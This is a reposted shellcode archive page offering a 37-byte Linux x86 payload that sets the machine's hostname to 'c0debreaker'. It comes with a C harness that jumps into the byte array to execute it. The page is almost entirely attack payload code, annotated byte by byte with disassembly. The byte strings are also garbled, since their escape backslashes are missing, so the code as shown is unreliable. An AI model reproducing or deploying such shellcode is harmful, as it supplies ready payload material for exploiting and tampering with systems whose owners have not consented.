Home / os / win7

linux/x86 sethostname to "c0debreaker" shellcode 3

Posted on 06 August 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 sethostname to &quot;c0debreaker&quot; shellcode 37 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>========================================================= linux/x86 sethostname to &quot;c0debreaker&quot; shellcode 37 bytes ========================================================= /* Title : sethostname to &quot;c0debreaker&quot; linux shellcode . Name : 37 bytes sethostname to &quot;c0debreaker&quot; linux . Date : Fri Aug 6 21:41:20 2010 Author : gunslinger_ &lt;yudha.gunslinger[at]gmail.com&gt; Web : http://devilzc0de.org blog : http://gunslingerc0de.wordpress.com tested on : linux debian */ #include &lt;stdio.h&gt; char shellcode[] = &quot;xebx13&quot; /* jmp 0x8048075 */ &quot;x31xc0&quot; /* xor %eax,%eax */ &quot;xb0x4a&quot; /* mov $0x4a,%al */ &quot;x5b&quot; /* pop %ebx */ &quot;x31xc9&quot; /* xor %ecx,%ecx */ &quot;xb1x0b&quot; /* mov $0xb,%cl */ &quot;xcdx80&quot; /* int $0x80 */ &quot;x31xc0&quot; /* xor %eax,%eax */ &quot;xb0x01&quot; /* mov $0x1,%al */ &quot;x31xdb&quot; /* xor %ebx,%ebx */ &quot;xcdx80&quot; /* int $0x80 */ &quot;xe8xe8xffxffxff&quot; /* call 0x8048062 */ &quot;x63x30&quot; /* arpl %si,(%eax) */ &quot;x64x65x62x72x65&quot; /* bound %esi,%fs:%gs:0x65(%edx) */ &quot;x61&quot; /* popa */ &quot;x6b&quot; /* .byte 0x6b */ &quot;x65&quot; /* gs */ &quot;x72&quot;; /* .byte 0x72 */ int main(void) { fprintf(stdout,&quot;[*] Shellcode length: %d &quot;,strlen(shellcode)); ((void (*)(void)) shellcode)(); return 0; } # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-06]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP